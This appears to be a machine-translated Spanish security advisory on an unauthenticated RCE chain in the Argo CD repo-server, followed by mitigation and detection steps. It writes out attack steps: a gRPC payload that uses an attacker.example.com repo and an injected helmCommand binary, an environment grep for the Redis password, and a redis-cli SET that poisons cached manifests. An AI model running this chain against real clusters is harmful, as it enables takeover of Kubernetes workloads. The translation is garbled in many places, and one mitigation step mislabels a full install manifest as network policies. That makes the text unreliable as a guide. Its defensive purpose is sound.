Argo CD Repo-Server: 18 meses sin parche Cero-Auth RCE permite la toma completa de Kubernetes

Desglose técnico de la RCE de 18 meses sin parpadear en Argo CD, que permite la toma completa de Kubernetes.

Argo CD Repo-Server: 18 meses sin parche Cero-Auth RCE permite la toma completa de Kubernetes

Este post forma parte del Semana del 3 de julio de 2026.

Sinopsis

El 1 de julio de 2026, Synacktiv divulgó públicamente una vulnerabilidad RCE sin parche y sin autenticación en Reservador del CD de Argo. The vulnerability was first reported to Argo CD maintainers in Enero 2025. Después de dieciocho meses sin una asignación de parche o CVE, Synacktiv publicó detalles completos, incluyendo una demostración de la toma completa del grupo Kubernetes. Actualmente no hay ninguna solución disponible.

Arquitectura de CD Argo y superficie de ataque

Argo CD es un controlador de entrega continuo GitOps declarativo para Kubernetes. Sus componentes clave:

  • argocd-server — API externa e interfaz de usuario (authenticated)
  • argocd-repo-servidor — Lee Git repos y genera manifiestos Kubernetes (interno, puerto 8081)
  • argocd-application-controller — Estado de agrupación de Consejos
  • argocd-redis — Caché compartido (puerto 6379)

El repo-servidor está diseñado sólo internamente, pero su servicio de GRPC en el puerto 8081 tiene ningún mecanismo de autenticación. El control de acceso se basa enteramente en la política de la red Kubernetes, que deja el gráfico Argo CD Helm Desactivado por defecto.

Cadena de ataque completa

Fase 1 — Reach repo-server (puerto 8081)

Prerrequisitos: Cualquier cápsula en el clúster (trabajo combinado, compromiso de cadena de suministro, etc.) con acceso a la red, o exposición directa de repo-servidor a la red debido a la malconfigurada NetworkPolicy (común en las instalaciones del gráfico Helm con ajustes predeterminados).

Fase 2 — Exploit kustomize --helm-command via unuthenticated gRPC

Procesos de reposerver GenerateManifest gRPC llama de otros componentes de CD Argo. Un atacante envía una nave GenerateManifest solicitud con ApplicationSource que establece kustomize.helmCommand a un camino binario controlado por el atacante:

# Simplified representation of the malicious gRPC payload
ApplicationSource {
  repoURL: "https://attacker.example.com/repo",
  targetRevision: "main",
  kustomize: {
    helmCommand: "/tmp/evil_binary"  # injected via earlier write
  }
}

kustomize ejecuta el binario especificado como el ejecutable "Helm", logrando la ejecución arbitraria del código como la cuenta de servicio de la cápsula de reposo. La herramienta de Synacktiv argo-cdown automatiza este paso.

Fase 3 - Extraer contraseña Redis

Las variables de entorno de la cápsula de reposo incluyen REDIS_PASSWORD:

# Executed in repo-server context after RCE:
env | grep -E "REDIS|ARGOCD"
# REDIS_PASSWORD=a9f3b2c1d8e4f7a0b3c6d9e2f5a8b1c4
# ARGOCD_SERVER=argocd-server:443

Fase 4 - Envenenar el caché manifiesto

Argo CD caches generados Kubernetes se manifiesta en Redis para el rendimiento. El atacante se conecta a Redis usando la contraseña extraída y sobrescribe las entradas de manifiesto caché:

redis-cli -h argocd-redis.argocd.svc.cluster.local -p 6379   -a "$REDIS_PASSWORD"   SET "app:production-app:manifests" "$(cat /tmp/evil_deployment.yaml)"

Los manifiestos envenenados contienen cargas de trabajo de Kubernetes suministradas por atacantes — cápsulas privilegiadas, DaemonSets con hostPath mounts, ClusterRoleBinding grants, etc.

Fase 5 — sincronización automática entrega la carga útil

Argo CD sincroniza por defecto cada 3 minutos. En el próximo ciclo de sincronización, el controlador de aplicación lee el caché envenenado y aplica las cargas de trabajo del atacante al grupo. Todo el grupo está ahora comprometido.

Disclosure Timeline

  • Enero 2025 — Informes sinápticos a los encargados del CD Argo
  • Enero 2025 – Junio 2026 — 18 meses: sin CVE, sin parche, sin asesoría pública
  • 1° de julio de 2026 — Synacktiv publica información completa
  • TBDargo-cdown exploit tool to be published on GitHub (withheld temporary to allow defenders time to apply NetworkPolicies)

Mitigación (No disponible parche)

# 1. Apply NetworkPolicies — restrict repo-server and Redis to argocd namespace only

# For kustomize installs — apply network policies from official manifests:
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml

# For Helm chart installs — enable network policies:
helm upgrade argocd argo/argo-cd   --namespace argocd   --reuse-values   --set networkPolicies.enabled=true

# 2. Verify repo-server port 8081 is inaccessible from other namespaces
kubectl run nettest --image=busybox --rm -it --restart=Never   --namespace=default --   nc -zv argocd-repo-server.argocd.svc.cluster.local 8081
# Should fail with: nc: argocd-repo-server.argocd.svc.cluster.local (10.x.x.x:8081): Connection refused

# 3. Verify Redis port 6379 is inaccessible from other namespaces
kubectl run redischeck --image=redis:alpine --rm -it --restart=Never   --namespace=default --   redis-cli -h argocd-redis.argocd.svc.cluster.local ping
# Should fail to connect

# 4. Rotate Redis password as additional defense
kubectl -n argocd create secret generic argocd-redis   --from-literal=auth=$(openssl rand -hex 32)   --dry-run=client -o yaml | kubectl apply -f -
kubectl -n argocd rollout restart deployment/argocd-repo-server
kubectl -n argocd rollout restart deployment/argocd-redis
kubectl -n argocd rollout restart statefulset/argocd-application-controller

Detección

# Monitor repo-server for unexpected gRPC calls (Sysmon/eBPF/Falco)
# Falco rule to detect unexpected connections to repo-server port:
# condition: evt.type=accept and fd.sport=8081 and not k8s.pod.name startswith "argocd-"

# Check Argo CD application history for unexpected synced resources
argocd app history production-app --auth-token $ARGOCD_TOKEN

# Monitor Redis for unexpected SET operations on manifest keys
redis-cli -h argocd-redis.argocd.svc.cluster.local -a "$REDIS_PASSWORD"   MONITOR | grep "SET.*manifests"